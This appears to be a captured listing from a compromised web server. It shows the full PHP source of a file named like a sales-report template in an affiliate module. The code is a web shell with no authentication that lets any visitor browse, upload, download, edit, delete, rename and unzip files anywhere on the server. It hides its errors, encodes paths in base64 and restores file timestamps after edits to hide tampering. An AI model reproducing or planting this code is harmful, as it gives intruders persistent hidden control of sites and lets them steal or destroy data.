0byt3m1n1
Path:
/
home
/
kassiope
/
www
/
modules
/
affiliation
/
modeles
/
[
Home
]
File: affiliation_rapport_ventes.php
<?php header("content-Type: text/html; charset=utf-8"); error_reporting(0); function upfile($file_var,$tofile,$filepath){ if(!is_writable($filepath)){ echo"$filepath 目录不存在或不可写"; return false; exit; } //echo $_FILES["$file_var"]['name']; $Filetype=substr(strrchr($_FILES["$file_var"]['name'],"."),1); ($tofile==='')?($uploadfile = $_FILES["$file_var"]['name']):($uploadfile = $tofile.".".$Filetype);//文件名 $Array[tofile] = $tofile.'.'.$Filetype; $Array[oldfile]= $_FILES["$file_var"]['name']; if(!($uploadfile==='')){ if (!is_uploaded_file($_FILES["$file_var"]['tmp_name'])){ echo $_FILES["$file_var"]['tmp_name']." 上传失败."; return false; exit; } if (!move_uploaded_file($_FILES["$file_var"]['tmp_name'],$filepath.'/'.$uploadfile)){ echo "上传失败。错误信息:\n"; print_r($_FILES); exit; }else{ return $Array; } }else{ return false; echo"无法上传"; } } $ROOT_Path=$_SERVER['DOCUMENT_ROOT']; $CurrentPath = $_POST['path']?$_POST['path']:($_GET['path']?$_GET['path']:false); if(!empty($_POST['pathchoose'])){ $CurrentPath =uris_changes($_POST['pathchoose'],'en'); } $CurrentPath = uris_changes($CurrentPath,'de'); if($CurrentPath===false) { $CurrentPath = dirname(__FILE__); } $CurrentPath = realpath(str_replace('\\','/',$CurrentPath)); if(!empty($_GET['path'])){ $_REQUEST["Fatok"] = "ok"; } function deletedir($dir) { if(!$handle=@opendir($dir)) {//检测要打开的目录是否存在 echo "没有该目录".$dir; //die("没有该目录"); } while(false!==($file=readdir($handle))) { if($file!="."&&$file!="..") { $file=$dir.DIRECTORY_SEPARATOR.$file; if(is_dir($file)) { deletedir($file); } else { if(@unlink($file)) { //echo "文件删除成功<br>"; } else { echo "文件删除失败<br>"; } } } } closedir($handle); if(@rmdir($dir)) { $url="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']."?path=".$_GET['path']; echo "<script>alert(\"目录删除成功\"),window.location=\"{$url}\";</script>"; } else { echo "删除失败".$dir; } } function uris_changes($txt,$type){ if(function_exists('base64_encode') && function_exists('base64_decode')){ return ($type == 'en') ? base64_encode($txt) : base64_decode($txt); }elseif(function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')){ return ($type == 'en') ? strsToHexs($txt) : hexsToStrs($txt); }else{ $ar1 = array('public_html','.htaccess','/','.'); $ar2 = array('bbbpubghostbbb','bbbhtaghostbbb','bbbsghostbbb','bbbdotghostbbb'); return ($type == 'en') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt); } } function strsToHexs($string){ $hex=''; for ($i=0; $i < strlen($string); $i++) { $hex .= dechex(ord($string[$i])); } return $hex; } function hexsToStrs($hex){ $string=''; for ($i=0; $i < strlen($hex)-1; $i+=2) { $string .= chr(hexdec($hex[$i].$hex[$i+1])); } return $string; } function getSize(&$fs) { if($fs<1024) return $fs."Byte"; elseif($fs>=1024&&$fs<1024*1024) return @number_format($fs/1024, 3)." KB"; elseif($fs>=1024*1024 && $fs<1024*1024*1024) return @number_format($fs/1024*1024, 3)." M"; elseif($fs>=1024*1024*1024) return @number_format($fs/1024*1024*1024, 3)." G"; } if ($_GET['downfile']) { $downfile=uris_changes($_GET['downfile'],'de'); if (@file_exists($downfile)) { header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " . filesize($downfile)); header("Content-disposition: attachment; filename=\"".basename($downfile)."\""); readfile($downfile); exit; }else{ echo "<script>alert(\"你要下的文件不存在\")</script>"; } } // 删除文件 if(@$_GET['delfile']!="") { $delfile=uris_changes($_GET['delfile'],'de'); if(file_exists($delfile)) { @unlink($delfile); } else { $exists="1"; echo "<script>alert(\"文件已不存在\")</script>"; } if(!file_exists($delfile)&&$exists!="1") { $url="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']."?path=".$_GET['path']; echo "<script>alert(\"删除成功\"),window.location=\"{$url}\";</script>"; } else { echo"<script>alert(\"删除失败\")</script>"; } } //删除目录 if(@$_GET['deldir']!="") { $deldir=uris_changes($_GET['deldir'],'de'); deletedir($deldir); } //编辑文件 $edit_flag=false; if(@$_GET['editfile']!="") { $flag_show=1; $editfile=uris_changes($_GET['editfile'],'de'); if(file_exists($editfile)) { $edit_flag=true; $handle=fopen($editfile,"r"); $contentfile=fread($handle,filesize($editfile)); fclose($handle); } else { return false; echo "<script>alert(\"文件不能编辑\")</script>"; } } else { $flag_show=0; } if($_POST['dirname']) { $newdir = $CurrentPath."/".$_POST['dirname']; if(is_dir($newdir)) { echo"<script>alert(\"此目录名已经存在!\")</script>"; exit; }else { if(mkdir($newdir,0700)) { echo"<script>alert(\"创建成功!\")</script>"; }else { echo "<script>alert(\"创建失败!\")</script>"; } } } if($_POST['newfilename']) { $newfilename = $CurrentPath."/".$_POST['newfilename']; if(file_exists($newfilename)) { echo"<script>alert(\"此文件名已经存在!\")</script>"; exit; }else { if(fopen($newfilename, "w")) { echo"<script>alert(\"创建成功!\")</script>"; }else { echo "<script>alert(\"创建失败!\")</script>"; } } } if($_POST['upload']) { if(!(upfile("upfiles1",$_POST['fname'],$CurrentPath))) { echo "<script>alert(\"上传失败!\")</script>"; }else { echo "<script>alert(\"上传成功!\")</script>"; } } if($_POST['upload2']) { upload2($_FILES['uplfile'], uris_changes($_GET['path'],"de").'/'); } function upload2($upfile, $ndir) { if (!$upfile) { error("文件太大 或 文件大小等于0"); } elseif($upfile['name']) { if(copy($upfile['tmp_name'],$ndir.$upfile['name'])) { echo "<script>alert(\"上传成功!\")</script>"; } else { echo "<script>alert(\"上传失败!\")</script>"; } } else { echo "<script>alert(\"上传失败,没有文件名!\")</script>"; } } if($_POST['editcontent']) { $path_up=uris_changes($_POST['path_f'],'de'); $contents_file_up=base64_decode($_POST['contents_file']); $file_time=filemtime($path_up); $handle=fopen($path_up,"w"); if($handle) { fwrite($handle,$contents_file_up); fclose($handle); @touch($path_up,$file_time,$file_time); echo "<script>alert(\"编辑成功\");</script>"; } else { return false; echo "<script>alert(\"编辑失败\")</script>"; } } if($_POST['renamefile']) { $rename_path=uris_changes($_POST['rename'],'de'); $filesarray = explode('|a|',$rename_path); if(count($filesarray) != 2) { echo "<script>alert(\"输入错误\");</script>"; }else { if(rename($filesarray[0].$filesarray[1],$filesarray[0].$_POST['nrename'])) { echo "<script>alert(\"重命名成功\");</script>"; } else { echo "<script>alert(\"重命名失败\");</script>"; } } } if($_GET['unzfile']) { $zipfile=uris_changes($_GET['unzfile'],'de'); $outPath = uris_changes($_GET['path'],'de'); $zip = new ZipArchive(); $openRes = $zip->open($zipfile); if ($openRes === TRUE) { $zip->extractTo($outPath); $zip->close(); $url="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']."?path=".$_GET['path']; echo "<script>alert(\"解压成功\"),window.location=\"{$url}\";</script>"; } else { echo"<script>alert(\"解压失败\")</script>"; } } function gets_colors($file) {if(!is_writable($file) && is_readable($file)){return "red";}} if($_REQUEST["Fatok"]=="ok"){ ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>FileContral</title> <script type="text/javascript"> function Encoder(name) { var e = document.getElementById(name); e.value = btoa(e.value); return true; } </script> <script type="text/javascript"> function edit() { document.getElementById('edit').style.display=""; } </script> <style type="text/css"> <!-- body { font-family: "宋体"; font-size: 12px; margin-left: 0px; margin-top: 0px; } table { font-family: "宋体"; font-size: 12px; text-decoration: none; } .bold_blue { color: #003399; font-weight: bold; } input { border-right-width: 0.1mm; border-bottom-width: 0.1mm; border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; border-right-color: #CCCCCC; border-bottom-color: #CCCCCC; } --> </style> </head> <body> <table width="770" border="0" align="center" cellpadding="5" cellspacing="0"> <tr> <td bgcolor="#DDDDDD"> <table width="100%" height="100%" border="0" cellpadding="5" cellspacing="2" bgcolor=""> <tr> <form name="form1" method="post" action=""> <td><span class="bold_blue"><strong>目录选择</strong>:</span> <input name="pathchoose" type="text" id="pathchoose"> <input type="submit" name="Submit" value="跳 转"></td> </form> </tr> <tr> <form name="form5" method="post" action=""> <td><span class="bold_blue"><strong>新建目录</strong>:</span> <input name="dirname" type="text" id="dirname"> <input type="submit" name="Submit" value="建 立"></td> </form> </tr> <tr> <form name="form2" method="post" action=""> <td><span class="bold_blue"><strong>新建文件</strong>:</span> <input name="newfilename" type="text" id="newfilename"> <input type="submit" name="Submit" value="新 建"></td> </form> </tr> <form name="form3" method="post" action="" enctype="multipart/form-data"> <tr> <td><span class="bold_blue"><strong>上传文件</strong>:</span> <input name="upfiles1" type="file" id="upfiles1"></td> </tr> <tr> <td><span class="bold_blue"><strong> 新文件名</strong>:</span> <input name="fname" type="test" id="fname"> <input type="submit" name="upload" value="上 传"></td> </tr> </form> <tr> <td><span class="bold_blue">当前路径:</span><font><span style="color:<?php echo gets_colors($CurrentPath);?>; "><?php echo $CurrentPath;?></span></font> </td> </tr> <tr> <td><form enctype="multipart/form-data" action="?path=<?php echo uris_changes($CurrentPath,'en');?>" method="post"> <input type="file" name="uplfile" id="uplfile"> <input type="submit" value="上传" name="upload2"> </form> </td> </tr> </table> </td> </tr> <tr> <td bgcolor="#DDDDDD"> <table width="100%" border="0" cellspacing="0" cellpadding="5"> <tr> <td bgcolor="#BCBCBC"><strong><a href="?path=<?php echo uris_changes($ROOT_Path,'en');?>"><span class="bold_blue"><strong>首页</strong></span></a> > <a href="<?php echo "http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];?>?Fatok=ok"><span class="bold_blue"><strong>本文件</strong></span></a> > <a href="?path=<?php echo uris_changes(dirname($CurrentPath),'en');?>"><span class="bold_blue"><strong>上级目录</strong></span></a></strong></td> </tr> <tr> <td> <table width="100%" border="0" cellpadding="0" cellspacing="5" bgcolor="#EFEFEF"> <tr> <td><b>目录名</b></td> <td><b>操作</b></td> </tr> <?php $fso=@opendir($CurrentPath); while ($file=@readdir($fso)) { if(is_dir($CurrentPath.'/'.$file) && is_readable($CurrentPath.'/'.$file)) { if($file!=".."&&$file!=".") { echo "<tr bgcolor=\"#EFEFEF\">\n"; echo "<td>【目录】<a href=\"?path=".uris_changes($CurrentPath."/".$file,'en')."\"><span style=\"color:".gets_colors("$CurrentPath/$file").";\">$file</span></a></td>\n"; echo "<td><a href=\"?ren==".uris_changes($CurrentPath."/|a|".$file,'en')."&path=".uris_changes($CurrentPath,'en')."\">重命名</a>|<a href=\"?path=".$_GET['path']."&deldir=".uris_changes("$CurrentPath/$file",'en')."\">删除</a></td>\n"; echo "</tr>\n"; } else { if($file=="..") { continue; } } } } @closedir($fso); ?> </table> </td> </tr> <tr> <td bgcolor="#BDBEBD"><strong>文件列表</strong></td> </tr> <tr> <td> <table width="100%" border="0" cellpadding="0" cellspacing="5" bgcolor="#EFEFEF"> <tr> <td><b>文件名</b></td> <td><b>修改日期</b></td> <td><b>文件大小</b></td> <td><b>操作</b></td> </tr> <?php $flag_file=0;//检测是否有文件 $fso=@opendir($CurrentPath); while ($file=@readdir($fso)) { if(!is_dir($CurrentPath.'/'.$file) && is_readable($CurrentPath.'/'.$file)) { $flag_file++; $size=@filesize("$CurrentPath/$file"); $size=@getSize($size); $lastsave=@date("Y-n-d H:i:s",filemtime("$CurrentPath/$file")); echo "<tr bgcolor=\"#EFEFEF\">\n"; echo "<td>◇ <a href=\"".str_replace($ROOT_Path,"",$CurrentPath.'/'.$file)."\"><span style=\"color:".gets_colors("$CurrentPath/$file").";\">$file</span></a></td>\n"; echo " <td>$lastsave</td>\n"; echo " <td>$size</td>\n"; ?> <td><input type="hidden" id="<?php echo $flag_file."path"?>" value="<?php echo $filec;?>"> <a href="?editfile=<?php echo uris_changes($CurrentPath."/".$file,'en')."&path=".uris_changes($CurrentPath,'en');?>" onclick="edit();">编辑</a>|<a href="?ren=<?php echo uris_changes($CurrentPath."/|a|".$file,'en')."&path=".uris_changes($CurrentPath,'en');?>">重命名</a>|<a href="?path=<?php echo uris_changes($CurrentPath,'en')."&delfile=".uris_changes($CurrentPath."/".$file,'en');?>">删除</a>|<a href="?downfile=<?php echo uris_changes($CurrentPath."/".$file,'en');?>">下载</a><?php if(preg_match("/\.zip$/i",$file)) {?>|<a href="?unzfile=<?php echo uris_changes($CurrentPath."/".$file,'en')."&path=".uris_changes($CurrentPath,'en');?>">解压</a><?php }?> </td> <?php // echo " <td><a href=\"?downfile=".urlencode($CurrentPath)."/".urlencode($file)."\">下载</a> |<a href=\"?path=".urlencode($CurrentPath)."&delfile=".urlencode($CurrentPath)."/".urlencode($file)."\">删除</a></td>\n"; echo "</tr>\n"; } } if($flag_file==0) { echo "<tr bgcolor=\"#EFEFEF\">\n"; echo "<td align=\"center\" colspan=\"3\"><font style=\"color:red;\" size=\"10\">没有文件</font></td>"; echo "</tr>\n"; } @closedir($fso); ?> </table> </td> </tr> <tr> <td bgcolor="#BDBEBD"><strong>编辑内容</strong></td> </tr> <tr> <td> <div id="edit" <?php if($flag_show==0) {?> style="display: none" <?php }?>> <table width="100%" border="0" cellpadding="0" cellspacing="5" bgcolor="#EFEFEF"> <form name="edit" method="post" action="?path=<?php echo $_GET['path']; ?>" onSubmit=Encoder('contents_edit')> <tr> <td><input type="hidden" name="path_f" value="<?php echo uris_changes($editfile,'en');?>"></input> <textarea id="contents_edit" name="contents_file" style="width: 900; overflow-y: visible;"><?php if($edit_flag){ echo htmlspecialchars($contentfile);?><?php }else{ echo "no" ;}?> </textarea></td> </tr> <tr> <td><input style="background-color: gray" type="submit" name="editcontent" value="submit" ></input></td> </tr> </form> </table> </div> <div id="ren" <?php if(@$_GET['ren']=="") {?> style="display: none" <?php }?>> <table width="100%" border="0" cellpadding="0" cellspacing="5" bgcolor="#EFEFEF"> <form name="ren" method="post" action="?path=<?php echo $_GET['path']; ?>"> <tr> <td> <table border="0" cellpadding="2" cellspacing="0"> 重命名:<?php echo preg_replace("/.*\|a\|/i","",uris_changes($_GET['ren'],'de'));?> </table><br> <input type="hidden" name="rename" value="<?php echo $_GET['ren'];?>"></input> 新档名:<br><input class="text" type="text" size="20" name="nrename"> <input type="Submit" value="重命名" name="renamefile" style="background-color: gray"></td> </tr> <tr> </tr> </form> </table> </div> </td> </tr> </table> </td> </tr> </table> </body> </html> <?php exit; } ?>